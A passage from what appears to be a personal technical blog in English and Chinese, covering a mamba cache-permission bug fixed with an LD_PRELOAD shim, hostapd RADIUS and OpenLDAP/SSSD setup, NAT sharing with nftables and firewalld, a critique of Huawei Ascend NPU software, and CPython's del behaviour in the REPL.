File "/opt/mambaforge/lib/python3.10/site-packages/mamba/mamba.py", line 497, in install
index = load_channels(pool, channels, repos)
File "/opt/mambaforge/lib/python3.10/site-packages/mamba/utils.py", line 129, in load_channels
index = get_index(
File "/opt/mambaforge/lib/python3.10/site-packages/mamba/utils.py", line 110, in get_index
is_downloaded = dlist.download(api.MAMBA_DOWNLOAD_FAILFAST)
RuntimeError: filesystem error: cannot set file time: Operation not permitted [/opt/mambaforge/pkgs/cache/09cdf8bf.json]

$Only newer versions of mamba shows the "cannot set file time" prompt.$

Mamba failed to update the package index. After some googling, I found the two issues in mamba-org/mamba: #488 RuntimeError on cache in multi-users case, #1123 Resolving from cache fails when cache dir rights are applied with ACL’s. It seems the current work around is to delete package index manually before installing new packages, but why? After some tests, conda seems to work without this bug.

I’m not familiar with C++ STL, so I decided to build it locally and debug. dlist is an instance of api.DownloadTargetList, defined in C++ source libmambapy pointing to class MultiDownloadTarget in fetch.cpp. A quick scan of the source was of no help, I decided to debug it with gdb.

Build and install libmamba, libmambapy and mamba for debug:

(base) $ # install packages from environment-dev.yml
(mdev) $ cmake -B build/ \
-DCMAKE_BUILD_TYPE=Debug \
-DBUILD_LIBMAMBA=ON \
-DBUILD_SHARED=ON \
-DCMAKE_INSTALL_PREFIX=$CONDA_PREFIX \
-DCMAKE_PREFIX_PATH=$CONDA_PREFIX \
-DBUILD_LIBMAMBAPY=ON
(mdev) $ make install -C build/ -j $(($(nproc) + 1))
(mdev) $ pip install -e libmambapy/ --no-deps
(mdev) $ pip install -e mamba/ --no-deps

The compiled mamba in different environment use a different path for cache, mamba will print the path in verbose mode. $base for \$CONDA_PREFIX/pkgs/cache, others for \$CONDA_PREFIX/env/ENV_NAME/pkgs/cache$ According to Anaconda documentation for Installing for multiple users, set up the environment:

$ # create a new group and user
$ sudo groupadd testg
$ sudo useradd -m testu
$ sudo usermod -aG testg testu
$ sudo usermod -aG testg $USER
$ # trigger the creation of index cache
$ # e.g. mamba install ipython
$ # change the ownership
$ sudo chgrp -R /opt/mambaforge
$ sudo chmod 770 -R /opt/mambaforge
$ # oh we are not the files' owner
$ sudo chown testu /opt/mambaforge/pkgs/cache/*
$ # make the cache expired
$ sudo find /opt/mambaforge/pkgs/cache -exec touch -d "7 days ago" {} +

Conda use a magic hash for each channel index cache json. So after creating the cache file, setting the group write bit on the cache, everyone in the group can update the index themselves. Mamba does so, but likely it use a different hash function, the files are different from which conda uses.

Attach gdb to the process:

(mdev) ~$ gdb -q --args python -m mamba.mamba install ipython
gef➤ catch throw
Catchpoint 1 (throw)
gef➤ r

When mamba got 304 Not Modified from HTTP server, it just updates the timestamps. But std::filesystem::last_write_time led to the problem. On Linux, th underlying utimensat() updates the timestamps of a file, but if you are not the file owner, or you have no appropriate privilege, the timestamps cannot be modified to a time except now, even if you have write access to the file. A quick strace verified my thought.

std::filesystem::last_write_time is not a perfect function. It works in most scenes, but it’s also limited. To fix the problem, simply substitute the function with OS specific functions with appropriate parameters, like utimensat(dirfd, pathname, NULL, flags) on POSIX systems. We got a library function to avoid OS specific syscalls, but in the end we fix the bug by re-introducing the syscalls, oops. Taking boost::filesystem::last_write_time as a reference, a hack maybe applied to the std::time_t new_time parameter to touch the file, but since it’s an undocumented behavior we cannot guarantee that in different platforms or libc it works.

BTW, conda works because it directly calls os.utime \[source\]. Yes, os.time is available on Windows! \[source\] Python beats C++ again, LOL. Another reference is GNULib lib/utimens.c. It handles utimensat on each unix platform correctly, and a Windows shim was provided for the POSIX API.

A quick dirty fix for this: hooking it

#include <fcntl.h>
#include <sys/stat.h>
#include <stddef.h>
#define __USE_GNU
#include <dlfcn.h>

int utimensat(int dirfd, const char *pathname, const struct timespec times[2], int flags) {
 int (*outimensat)(int, const char *, const struct timespec[2], int) = dlsym(RTLD_NEXT, "utimensat");
 return outimensat(dirfd, pathname, (struct timespec*)NULL, flags);
}

Compile and load it when using mamba:

$ cc fixmamba.c -fPIC -shared -o fixmamba.so -ldl
$ LD_PRELOAD="$(pwd)/fixmamba.so" mamba install ipython

Arch Linux 下将 Hostapd 仅当作 Radius 服务器使用

Fri, 11 Nov 2022 16:24:52 +0800

从 Arch Linux 获取软件源代码

asp export hostapd

允许 hostapd 以纯 radius 服务器运行

# 编辑 config ，取消注释
CONFIG_DRIVER_NONE=y

安装软件包

makepkg -si --skippgpcheck

编辑 /etc/pacman.conf ，防止升级时 hostapd 被替换

IgnorePkg = hostapd

华为昇腾的 NPU 真的不好用

Sat, 29 Oct 2022 00:00:00 +0000

今天稚晖君在智能基座高校活动上又一次安利了昇腾生态，加上他本身也是昇腾的人员，我又一次尝试了 NPU 的生态。其实我之前也用过 NPU ，当时就很怀疑人生，但实在想不起来应该吐槽些什么了。活动上本来希望其他人能提些有用的问题，结果整个一狂粉见面会，有些同学恨不得连人家工位在哪个位置都要问出来，不愧是三本。。

由于遇到的问题很多，之后也许还会遇到其他问题，打算把坑集中记录在这里。

NPU 生态初探

华为的 NPU 生态对标的主要是 NVIDIA 计算卡的生态：

HUAWEI	NVIDIA
昇腾推理卡/训练卡	计算卡
NPU firmware	nvidia driver
CANN	CUDA
MindSpore/AscendPytorch/Ascend Tensorflow	Pytorch/Tensorflow

智能基座活动：“我们华为生态的优势就是所有产品都是我们自己做的。”

产品分商业版和社区版

以 CANN 为例，官方这么说明：

社区版：快速提供新特性的体验版，供开发者提前试用商业版：满足商用标准的稳定版本

忘了在哪里还曾经看到社区版是不能用于商业环境的，只有商业版可以。现在我找不到相关的说明了，暂且当它不存在。但商业版仍然不能让用户直接下载，需要申请华为的许可才能下载！也就是说，不跟华子谈好，你用的是一个“不保证稳定”的版本。到底需不需要花钱才能拿到我不知道，因为之前 NPU 的固件、驱动是只有商业版本的，你就算买了服务器、硬件，也下载不了驱动，需要跟经销商去要。

对比 CUDA ，开发和部署用的就是一套东西，也没有什么商业、社区的区别。这 CANN 除了华子自己的 NPU 也没玩意能用，结果交了一次硬件的钱还要再交一次软件的钱。

版本混乱

1. 大版本号乱变

让我们来看看《版本号变更通告》，这次改版本号时，直接把 20.1.alpha001 改到 3.1.0.alpha001 。

在装 mindspore 1.9.0 时（文章撰写时的最新版），我能在官网上下载到的 CANN 版本是 6.0.0.alpha001 。此时 mindspore 无法正常工作，根据提 issue 后官网的修改，它需要 Ascend Data Center Solution 22.0.RC3 才能运行。

不觉得这很酷吗？很符合我对乱刷版本号的印象。

2. RC 版与正式版间产生大幅度改动

6.0.RC1.alpha003 与 6.0.0.alpha001 这两个版本间库文件放置的路径都不一样，导致 mindspore 出错找不到文件。我理解 RC 是 Release Candidate 的意思，别人的 RC 可能和正式版都没什么区别了，这不仅候选了三个版本，还要有破坏性变动放在里面。

你的下一个大版本号，何必是大版本号。

3. mindspore 发布的正式版依赖了还没有发布的 CANN 版本

mindspore 1.9.0 ，目前官网文档还在那挂着没有下载链接呢。让我们问一下华子怎么说：

智能基座活动：“我们华为生态的优势就是所有产品都是我们自己做的。”

优势是需要某个东西直接给对应团队 oncall 要二进制文件？然后让用户挂在这里。

4. 为了使用不同的框架，你需要安装一堆 CANN ，甚至是 RC 版

昇子魔改的 pytorch 依赖于 RC 版的 CANN ， RC 和正式版间有大幅度变动，你不用 RC 可能就跑不起来了。

有人说用 cuda 的 pytorch 不也依赖于某个 cuda 版本吗？让我们来看看怎么安装 pytorch

conda install pytorch torchvision torchaudio pytorch-cuda=11.6 -c pytorch -c nvidia

啊这，一行命令就安装好指定版本了。让我们来看看怎么安装 mindspore ：

昇腾软件包提供商用版和社区版两种下载途径：

商用版下载需要申请权限，下载链接与安装方式请参考[Ascend Data Center Solution 22.0.RC3安装指引文档]。

安装包默认安装路径为/usr/local/Ascend。安装后确认当前用户有权限访问昇腾AI处理器配套软件包的安装路径，若无权限，需要root用户将当前用户添加到/usr/local/Ascend所在的用户组。

安装昇腾AI处理器配套软件包提供的whl包，whl包随配套软件包发布。如果之前安装过昇腾AI处理器配套软件包，需要先使用如下命令卸载相应的包。

pip uninstall te topi hccl -y

默认安装路径使用以下指令安装。如果安装路径不是默认路径，需要将命令中的路径替换为安装路径。

pip install sympy pip install /usr/local/Ascend/ascend-toolkit/latest/lib64/topi--py3-none-any.whl pip install /usr/local/Ascend/ascend-toolkit/latest/lib64/te--py3-none-any.whl pip install /usr/local/Ascend/ascend-toolkit/latest/lib64/hccl-*-py3-none-any.whl

别忘了使用的时候还要 source 环境变量文件哦，要先 source CANN 的，再 source mindspore 的。而且这些配置文件里默认都写的 latest ，需要自己改路径。

Mindspore 软件质量差

See https://gitee.com/mindspore/mindspore/issues/I5YCC4#note_14021343

‘/fwkacllib/lib64’ ‘/add-ons’ 已经不用了，但报警还有。因为文档差，也查不到怎么回事，留下用户一脸蒙蔽。

真正的启动检查报错（让程序无法运行那种）也是 warning ，嗯。

pytorch 使用麻烦

需要自己编译，编译之后我还没跑通测试。现在提了 issue ，等昇子跟进。

已经两天了，pytorch 这边工作人员比 mindspore 那的懒很多。

对比一下人家 intel ：[https://github.com/intel/intel-extension-for-pytorch][https://github.com/intel/intel-extension-for-pytorch] ，真的华子你能不能学学人家，他做得比你晚，还做得比你好。

而且 pytorch 只魔改了几个版本，魔改后的 pytorch 自己的代码很多地方都要改。

bug 很多，之前跑三层的 LSTM ，用 CPU 跑能出结果，用 NPU 跑返回 None ，错也不报。

UPDATE:

虽然已经在各个分支里写上有 pytorch 1.11 的支持，但实际上没有支持。呃。。

https://gitee.com/ascend/pytorch/issues/I5YE0Y

文档稀碎

莫名其妙的报错，莫名其妙的错误号，一搜网上全是新闻，一点文档找不到啊。

同样在等 issue 回复。

UPDATE:

建议放弃幻想。

设备贵

Atlas 800 (Model 3010) ，系统配置：

Intel(R) Xeon(R) Silver 4216 CPU @ 2.10GHz x 2
64 GiB DDR4 Memory
Ascend 910A

总价 13w ，这价格你完全可以去买（甚至是涨价后的） A100 。别忘了，910A 是推理卡，你可能还需要一张训练卡。

OpenWrt 用 hostapd 作为 Radius 服务器配置 WPAx-EAP 认证

Fri, 02 Sep 2022 13:11:19 +0800

hostapd 代码中有一个集成的 Radius 服务器，占用资源比较少。对于想简单尝试一下 EAP 认证的个人用户来说已经完全够用，配置起来也要比 freeradius3 等软件方便。然而 OpenWrt 的相关软件包在编译的时候并没有开启相关的编译选项，所以需要手动更改该软件包的参数进行编译。

Radius 服务器配置

这里以 EAP-TLS 为例：

mkdir -p /etc/hostapd/certs
touch /etc/hostapd/hostapd.{conf,eap_user,radius_clients}

/etc/hostapd/hostapd.conf:

driver=none
logger_syslog=127
logger_syslog_level=2
logger_stdout=127
logger_stdout_level=2

eap_server=1
eap_user_file=/etc/hostapd/hostapd.eap_user
server_cert=/etc/hostapd/certs/eap.crt
private_key=/etc/hostapd/certs/eap.key
ca_cert=/etc/hostapd/certs/ca_chain.pem
check_crl=0
radius_server_clients=/etc/hostapd/hostapd.radius_clients
radius_server_auth_port=1812

/etc/hostapd/hostapd.eap_user:

* TLS

/etc/hostapd/hostapd.radius_clients:

127.0.0.1 your_radius_key
192.168.1.0/24 if_you_wanna_test_it

尝试启动 hostapd ，查看是否有报错：

/usr/sbin/hostapd -s /etc/hostapd/hostapd.conf

设置最好不要把 radius 服务器绑到某个 /etc/config/wireless 配置下，这样太过 hack ，我们新建一个系统服务：

/etc/init.d/hostapd-radius:

#!/bin/sh /etc/rc.common

START=90
USE_PROCD=1
NAME=hostapd-radius

start_service() {
 if [ -x "/usr/sbin/hostapd" ]; then
 procd_open_instance hostapd-radius
 procd_set_param command /usr/sbin/hostapd -s /etc/hostapd/hostapd.conf
 procd_set_param respawn 3600 1 0
 [ -x /sbin/ujail -a -e /etc/capabilities/wpad.json ] && {
 procd_add_jail hostapd-radius
 procd_set_param capabilities /etc/capabilities/wpad.json
 procd_set_param user network
 procd_set_param group network
 procd_set_param no_new_privs 1
 }
 procd_close_instance
 fi
}

启用并启动服务：

/etc/init.d/hostapd-radius enable
/etc/init.d/hostapd-radius start

配置网络使用 Radius 服务器

可以在 LuCI 里设置，也可以通过命令：

uci set wireless.@wifi-iface[0].encryption=wpa2
uci set wireless.@wifi-iface[0].auth_server='127.0.0.1'
uci set wireless.@wifi-iface[0].auth_secret='your_radius_key'
uci commit wireless
wifi reload

暂时不要用 WPA3 或 WPA2/3 Mixed 的 EAP ，因为客户端的支持并不好。 Mixed 下 Windows 正常连接为 WPA2-EAP ， iOS 无法正常连接。 WPA3 下 Windows 无法正常识别加密类型， iOS 显示无法连接。这个问题比较难排查，就这样吧。

最后吐槽下 OpenWrt 文档很老旧，和现在的情况一点也不一样。

LDAP+SSSD 部署

Mon, 22 Aug 2022 17:32:02 +0800

选择 openldap 与 sssd 的理由

最近有在不同 Linux 节点（非集群）上统一管理用户的需求，这个时候开始觉得 Windows AD 确实很方便。其实 Linux 机器也可以加入 AD 域， samba 也有相关的功能，暂时还没有探索多少。

NIS 也是一个轻量的目录服务协议，但配置起来相对死板麻烦。值得注意的是， Ubuntu 22.04 中将 nis 版本更新到了 4 ，配置方式和之前有很大不同，在配置时踩了很多坑。供参考的资料大多也不适用于现在的情况，加上不太能搞懂组件间的联系等，最后放弃了这条道路。

FreeIPA 是 RH 牵头搞的、全家桶型的身份管理系统。它不仅内置了 bind 来配置 DNS ，有 acme server 来签发证书，支持 kerberos 认证，还有一个 Web 界面来调整设置，非常方便。可以说自己配一套配置到最后，也是需要配好这一坨东西。但由于 bind 的版本依赖问题， Ubuntu 竟然从 20.04 开始就没打包 freeipa-server 这个包了。 Docker 版本也试了下，第一次启动很慢，运行时占用资源也稍多，启动中间还出了很多错误，暂时也没有精力去排查，更没有换 rh 系发行版的打算，只能搁置了。另外 Docker 封装里有 systemd ，这也是个小问题。

由于需求其实比较简单，服务器区域准备设置防火墙并没有公开服务，也没有必要去搞得很复杂。所以最后决定自己搭一套 LDAP 。

最开始尝试的是 ApacheDS ，这是一个用 Java 写的 LDAP 和 Kerberos 服务器。 Ubuntu 里有 ApacheDS 这个包，和 Debian 上游的完全一样，官方源里面这个包可谓非常之坑，我不懂 Java ，它对我来说就更坑了：一个是假如存密码用了 CRYPT 系列的编码，那么 ApacheDS 就完全登录不了了，提示 NoClassDefFoundError 。看了下是缺少 libcommons-codec-java 这个包的库，但它已经作为依赖被安装了。在我手动把这个库的 jar 复制到 ApacheDS 所在的 lib 目录后，这个问题解决了。但当设置 TLS 的时候，又出现了 No Cipher Suites in Common 的问题，搜了下网上的意思，都是说应该是别的地方出问题，这下我没有魔改的思路了。但这是发行版打包的问题，因为如果安装并使用的是 ApacheDS 自己打包的 deb ，那就完全不会出现这些问题。他们自己打包的 deb 没有 systemd 整合，其实这还是小问题。关键是他没有源，需要三天两头去检查升级。发行版都有 security 更新，直接更新就好了，这自己去检查可太累了。再加上之前 log4j 爆出问题，谁知道这么一坨没有时常更新的服务什么时候会炸。浅瞄一眼没有合适的 Docker 封装，算了算了。

最后尝试了最经典的 openldap ，还是它好用啊，一路下来基本没出现过啥问题，妙啊。

SSSD 可以缓存登录凭据，这样认证服务器挂了（在我的场景下）问题也不算还大，暂时没看 pam-ldap 是否有同样的选项。据说 sssd 还有其他高级功能，没研究。

openldap server 的配置

设置 hostname 和 FQDN

首先设置好 hostname 和 FQDN 。因为 sssd 需要加密，加密需要证书。

$ sudo hostnamectl hostname ldap
$ sudo vim /etc/hosts

...
127.0.0.1 localhost.localdomain localhost
127.0.0.1 ldap.example.com ldap
...

检查设置：

$ hostname
ldap
$ hostname -f
ldap.example.com

设置 openldap server

$ sudo apt update
$ sudo apt install slapd ldap-utils

安装中可以跳过 openldap 服务器设置，安装完后再进行：

$ sudo dpkg-reconfigure slapd

Omit OpenLDAP server configuration? No
DNS domain name: example.com
Organization name: Example Organization
Password
Do you want the database to be removed when slapd is purged? No ，这里根据需要
Move old database? Yes ，防手滑

创建证书

如果有证书就可以跳过自签证书的步骤，直接放好证书给服务用就好了。

$ sudo apt install gnutls-bin ssl-cert

创建证书模板：

$ sudo mkdir /etc/ssl/templates

/etc/ssl/templates/ca_server.conf:

cn = LDAP Service CA
ca
cert_signing_key
expiration_days = 3650

/etc/ssl/templates/ldap_server.conf:

organization = "Example Organization"
cn = ldap.example.com
tls_www_server
encryption_key
signing_key
expiration_days = 3650

创建 CA 私钥：

$ sudo certtool -p --outfile /etc/ssl/private/ca_server.key

创建 CA 证书：

$ sudo certtool -s --load-privkey /etc/ssl/private/ca_server.key --template /etc/ssl/templates/ca_server.conf --outfile /etc/ssl/certs/ca_server.pem

域名的私钥：

$ sudo certtool -p --sec-param high --outfile /etc/ssl/private/ldap_server.key

域名的证书：

$ sudo certtool -c --load-privkey /etc/ssl/private/ldap_server.key --load-ca-certificate /etc/ssl/certs/ca_server.pem --load-ca-privkey /etc/ssl/private/ca_server.key --template /etc/ssl/templates/ldap_server.conf --outfile /etc/ssl/certs/ldap_server.pem

让服务有权限访问这个证书：

$ sudo mkdir /etc/ssl/slapd
$ sudo cp /etc/ssl/private/ldap_server.key /etc/ssl/slapd/
$ sudo chown -R openldap /etc/ssl/slapd/
$ sudo chmod 710 /etc/ssl/slapd

配置 openldap server 使用证书

创建 addcerts.ldif ：

dn: cn=config
changetype: modify
add: olcTLSCACertificateFile
olcTLSCACertificateFile: /etc/ssl/certs/ca_server.pem
-
add: olcTLSCertificateFile
olcTLSCertificateFile: /etc/ssl/certs/ldap_server.pem
-
add: olcTLSCertificateKeyFile
olcTLSCertificateKeyFile: /etc/ssl/private/ldap_server.key

顺序必须是： CA 证书、服务证书、服务私钥，不然报实现自定义错误。证书权限忘调整也报错。

应用更改：

$ sudo ldapmodify -H ldapi:// -Y EXTERNAL -f addcerts.ldif
$ sudo systemctl restart slapd

openldap 客户机配置

如果是自签发证书，需要信任自己的 CA 证书：

$ sudo cp /etc/ssl/certs/ca_server.pem /etc/ldap/ca_certs.pem

编辑 /etc/ldap/ldap.conf ，调整 CA 证书文件：

TLS_CACERT /etc/ldap/ca_certs.pem

测试 STARTTLS 通信：

$ ldapwhoami -H ldap:// -x -ZZ
anonymous

由于 ldaps:// 已经过时，不应该再使用。

配置 sssd 认证登录

安装软件包：

$ sudo apt-get install sssd-ldap ldap-utils

创建 /etc/sssd/sssd.conf ，权限 0600 ，所有权 root:root ：

[sssd]
config_file_version = 2
domains = example.com

[domain/example.com]
id_provider = ldap
auth_provider = ldap
chpass_provider = ldap
ldap_uri = ldap://ldap.example.com
cache_credentials = True
ldap_search_base = dc=example,dc=com

[pam]
offline_credentials_expiration = 60000

启动 sssd 服务：

$ sudo systemctl start sssd

自动创建家目录：

$ sudo pam-auth-update --enable mkhomedir

在 LDAP 上创建用户并测试

推荐 Apache Directory Studio 作为 GUI 工具，不用也没啥。

dn: dc=example,dc=com
objectClass: dcObject
objectClass: organization
objectClass: top
dc: example
o: example.com
dn: ou=People,dc=example,dc=com
objectClass: organizationalUnit
objectClass: top
ou: People
dn: ou=Group,dc=example,dc=com
objectClass: organizationalUnit
objectClass: top
ou: Group
dn: uid=usera,ou=People,dc=example,dc=com
objectClass: inetOrgPerson
objectClass: posixAccount
cn: User A
gidNumber: 10001
homeDirectory: /home/usera
sn: usera
uid: usera
uidNumber: 10001
loginShell: /bin/bash
userPassword: wow
dn: cn=usera,ou=Group,dc=example,dc=com
objectClass: posixGroup
cn: usera
gidNumber: 10001

导入后，在 ldap 客户机上应该能查询到相关用户，并且以该用户身份登录：

$ getent passwd usera
usera:*:10001:10001:User A:/home/usera:/bin/bash
$ id usera
uid=10001(usera) gid=10001(usera) groups=10001(usera)

SSH 配置

LDAP Server

修改 LDAP 的 schema ，加上用户的公钥字段：

dn: cn=openssh-lpk,cn=schema,cn=config
objectClass: olcSchemaConfig
cn: openssh-lpk
olcAttributeTypes: ( 1.3.6.1.4.1.24552.500.1.1.1.13 NAME 'sshPublicKey'
DESC 'MANDATORY: OpenSSH Public key'
EQUALITY octetStringMatch
SYNTAX 1.3.6.1.4.1.1466.115.121.1.40 )
olcObjectClasses: ( 1.3.6.1.4.1.24552.500.1.1.2.0 NAME 'ldapPublicKey' SUP top AUXILIARY
DESC 'MANDATORY: OpenSSH LPK objectclass'
MAY ( sshPublicKey $ uid )
)

Client

新建 /usr/local/bin/ssh-keyldap:

#!/bin/sh
# vim: set ts=4:
#
# This script finds and prints authorized SSH public keys in LDAP for the
# username specified as the first argument.
#
# The program must be owned by root and not writable by group or others.
# It expects configuration file /etc/ssh/ldap.conf in format of ldap.conf(5).
#
# sshd_config for OpenSSH 6.2+:
#
# AuthorizedKeysCommand /usr/local/bin/ssh-keyldap
# AuthorizedKeysCommandUser nobody
#
set -eu

LDAPCONF='/etc/ssh/ldap.conf'

log() {
 logger -s -t sshd -p "auth.$1" "$2"
}

uid="$1"
export LDAPCONF

if [ ! -r "$LDAPCONF" ]; then
 log err "file $LDAPCONF does not exist or not readable"
 exit 1
fi

if ! expr "$uid" : '[a-zA-Z0-9._-]*$' 1>/dev/null; then
 log err "bad characters in username: $uid"
 exit 2
fi

keys=$(ldapsearch -x -LLL -ZZ -o ldif-wrap=no "(&(uid=$uid)(sshPublicKey=*))" \
 'sshPublicKey' | sed -n 's/^sshPublicKey:\s*\(.*\)$/\1/p')
keys_count=$(echo "$keys" | grep '^ssh' | wc -l)

log info "Loaded $keys_count SSH public key(s) from LDAP for user: $uid"

echo "$keys"

新建 /etc/ssh/ldap.conf:

# /etc/ssh/ldap.conf
# See ldap.conf(5) for details
# This file should be world readable but not world writable.
BASE ou=people,dc=itszzz,dc=top
URI ldap://hn00.itszzz.top

编辑 /etc/ssh/sshd_config ，加入：

AuthorizedKeysCommand /usr/local/bin/ssh-keyldap
AuthorizedKeysCommandUser nobody

Linux 向局域网内设备分享网络

Sat, 23 Jul 2022 00:00:00 +0000

UPDATE 2022-09-03:

添加了在装有 ufw 时的配置。

======

UPDATE 2022-07-24:

将使用 firewalld 的方法添加到了 Arch Wiki - Internet sharing 上。

======

现某台 Linux 服务器 a 能访问网络 A 、 B 与 C ，希望能通过 a 使 C 下的其他设备访问网络 A 、 B 。具体配置如下：

网络 C ： 192.168.44.0/24
C 中路由器： 192.168.44.1
a 在 C 中的 IP ： 192.168.44.2
a 中的网络 A 、 B 与 C 对应的网卡： eno1, eno2, eno3

服务器 a 上的设置

使用 nftables

首先允许网络转发：

# sysctl net.ipv4.ip_forward=1

再使用 nftables 建立一个新表，设置转发规则：

# nft add table inet nat
# nft 'add chain inet nat postrouting { type nat hook postrouting priority 100 ; }'
# nft add rule inet nat postrouting ip saddr 192.168.44.0/24 masquerade

值得一提的是， Arch Wiki 上的操作是指定 oifname ，但没有指定 ip saddr 。我的理解是：

不指定 source address 留下了安全风险
使用 oifname 假定了只有一个需要做 NAT 的网络区域。即使是只有一个区域，一般情况下机器在这个网络区域里也只有一个 IP 地址，这种情况下应该去设置 snat 而不是 masquerade 以获得更好的性能。

如果服务器上还装了 ufw

ufw 默认把所有 IP Forward 都 block 掉。网络上的大部分方法都是把默认策略改成 ACCEPT 。。我们装防火墙是为了防止攻击的，这种引入其他风险的策略听上去就有很大问题。 ufw 的用户界面应该是没有提供相关选项，我们需要手工写 iptables 策略（是的， ufw 用 iptables ，导致我们同时写了 nftables 规则和 iptables 规则）

编辑 /etc/ufw/before.rules ，添加以下内容：

-A ufw-before-forward -s 192.168.44.0/24 -j ACCEPT

使用 firewalld

firewalld 的 external 区域应该是默认开启 masquerade ，意味着 firewalld 也会为我们开启网络转发，所以聚焦于 firewalld 的设置就好。

设置网口区域并检查设置：

# firewall-cmd --zone=external --change-interface=eno1 --permanent
# firewall-cmd --zone=external --change-interface=eno2 --permanent
# firewall-cmd --zone=internal --change-interface=eno3 --permanent
# firewall-cmd --zone=internal --set-target=ACCEPT --permanent
# firewall-cmd --reload
# firewall-cmd --get-active-zones

添加配置规则：

# firewall-cmd --zone=internal --permanent --add-rich-rule='rule family="ipv4" source address="192.168.44.0/24" masquerade'
# firewall-cmd --reload

网络 C 路由器上的配置

路由网关指向该服务器即可。

后记

因为最开始忘记了网络出口的问题，导致折腾了很长时间也没明白出了什么问题。

firewalld 生成 nftables 表时，内容非常冗杂，但都有规则可循。但是前一段时间折腾 docker （仍然使用 iptables 后端配置网络，对 ipv6 支持还是很差）与 firewalld 的共存时留下了心理阴影，遂开始手工编写 nftables chain ，并在规则中加入 log 来排查问题，具体步骤可以参考 nftables wiki - Loggin traffic 。

Python Interactive 中 del 的奇怪行为

Tue, 21 Dec 2021 20:31:41 +0800

一个简单的问题

今天在某群里看见一个 Python 很怪异的行为，最后总结到可以复现的最小例子如下：

PS C:\Users\azuk> python3
Python 3.8.9 (default, Apr 13 2021, 15:54:59) [GCC 10.2.0 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> class X:
... def __del__(self):
... print('die')
...
>>> a = X()
>>> del a
die
>>> a = X()
>>> a
<__main__.X object at 0x0000022eb60f9430>
>>> del a
>>>
>>> X
die
<class '__main__.X'>
>>>

当在 Python Interactive 运行 a，再删除这个对象时，并没有马上执行 a.__del__ 的操作，而是等运行了下一条语句时才打印出了 ‘die’。如果把它做成一个简单的 Python 脚本来运行，就不会发生这种奇怪的现象。

TLDR: 因为 Python Interactive 会把上一次运算结果的值保存在 __builtins__._ 里，所以引用计数器没归零。

一番困难的研究

最近也做了不少 Python 的工作，正好借这个机会来梳理一下整个过程。

减少引用计数的过程

首先要弄清楚的是，为什么执行完 del a 后应该执行 a.__del__。在 Python 里简单 dis 一下这段话看看结果：

>>> from dis import dis
>>> del a; f = sys._getframe(0)
die
>>> dis(f.f_code)
 1 0 DELETE_NAME 0 (a)
 2 LOAD_NAME 1 (sys)
 4 LOAD_METHOD 2 (_getframe)
 6 LOAD_CONST 0 (0)
 8 CALL_METHOD 1
 10 STORE_NAME 3 (f)
 12 LOAD_CONST 1 (None)
 14 RETURN_VALUE

直接 dis 'del a' 可能与实际执行有差异，这里直接获取到 frame object 的 f_code 。这里 del a 实际上对应了 bytecode DELETE_NAME(a)。而 DELETE_NAME 在 ceval.c 中的定义是：

Python/ceval.c

case TARGET(DELETE_NAME): {
 PyObject *name = GETITEM(names, oparg);
 PyObject *ns = f->f_locals;
 int err;
 if (ns == NULL) {
 _PyErr_Format(tstate, PyExc_SystemError,
 "no locals when deleting %R", name);
 goto error;
 }
 err = PyObject_DelItem(ns, name);
 if (err != 0) {
 format_exc_check_arg(tstate, PyExc_NameError,
 NAME_ERROR_MSG,
 name);
 goto error;
 }
 DISPATCH();
}

DELETE_NAME 首先获取参数的名字，再获取当前 frame object 的 f_locals ，最后在 PyObject_DelItem 中删除该变量。

Objects/abstract.c

int
PyObject_DelItem(PyObject *o, PyObject *key)
{
 // ...

 PyMappingMethods *m = Py_TYPE(o)->tp_as_mapping;
 if (m && m->mp_ass_subscript) {
 int res = m->mp_ass_subscript(o, key, (PyObject*)NULL);
 assert(_Py_CheckSlotResult(o, "__delitem__", res >= 0));
 return res;
 }

 // ...
}

注意到 locals() 是一个 dict 对象，所以这里用了从集合类型中删除元素的函数进行操作。mp_ass_subscript 不为空说明可以对元素执行下标操作（包括 set 和 del）。在 dictobject.c 中，定义有：

Objects/dictobject.c

static PyMappingMethods dict_as_mapping = {
 // ...
 (objobjargproc)dict_ass_sub, /*mp_ass_subscript*/
};

之后由 dict_ass_sub -> PyDict_DelItem -> _PyDict_DelItem_KnownHash -> delitem_common 一路调用过来，最终对 Value 执行了一次 Py_DECREF，对值的引用计数减 1 。

要注意的是，不是所有情况下执行 del 都会产生 DELETE_NAME。我个人认为 CPython 里带 NAME 的 opcode 都有一种“我也不知道在哪里，你运行的时候自己找找”的感觉。假如有如下函数：

def f():
 a = X()
 print()
 del a

那么它会生成 STORE_FAST 和 DELETE_FAST 。就像它名字表示的一样，它真的很快。值放在了一个数组上（数组是 locals 和 stack），删除也是对数组进行操作（以直接将值设置为 NULL 的方式），不在这里讨论的范围内。

调用 `del` 的过程

首先追踪一下 Py_DECREF：

Python/ceval.c

# define Py_DECREF(op) _Py_DECREF(_PyObject_CAST(op))
// 这里简化了许多用于调试的预编译指令
static inline void _Py_DECREF(PyObject *op)
{
 if (--op->ob_refcnt != 0) {
 }
 else {
 _Py_Dealloc(op);
 }
#endif

这里的逻辑比较简单，当引用计数归零时，就去调用 _Py_Dealloc。

Objects/object.c

void
_Py_Dealloc(PyObject *op)
{
 destructor dealloc = Py_TYPE(op)->tp_dealloc;
 (*dealloc)(op);
}

这里面直接去调了 PyTypeObject 的 tp_dealloc 函数。Python 在 C 中定义的类型 (type) 都是这样的：

创建一个和 PyObject 二进制兼容的结构，一般命名为 Py{Name}Object ，用来 object 的相关信息
另一方面要创建一个 PyTypeObject 的结构体，让 PyObject 的 ob_type 指向它，里面包含了 object 的相关行为函数；我们的 class X 也对应了某个 PyTypeObject 。

Python 中类的创建机制比较复杂，文中先略过不谈。最终我们调用到了作为 tp_dealloc 出现的 subtype_dealloc，通过检查是否有 Finalizer ，从 PyObject_CallFinalizerFromDealloc -> PyObject_CallFinalizer -> tp_finalize 最终调用到了我们写的 Python 层面上的 __del__ 。

这就和我们在 Python 官方文档上看到的说明一样了：调用 del 未必触发 __del__。

The Python Language Reference » Data model # object.__del__

Note del x doesn’t directly call x.__del__() — the former decrements the reference count for x by one, and the latter is only called when x’s reference count reaches zero.

从引用计数下手

现在我们实锤了：既然 __del__ 没有被调用，说明变量引用计数根本没有归零。做一个简单的实验：

>>> a = X()
>>> a
<__main__.X object at 0x000001c3fab693a0>
>>> sys.getrefcount(a)
3
>>> sys.getrefcount(a)
2
>>> sys.getrefcount(a)
2

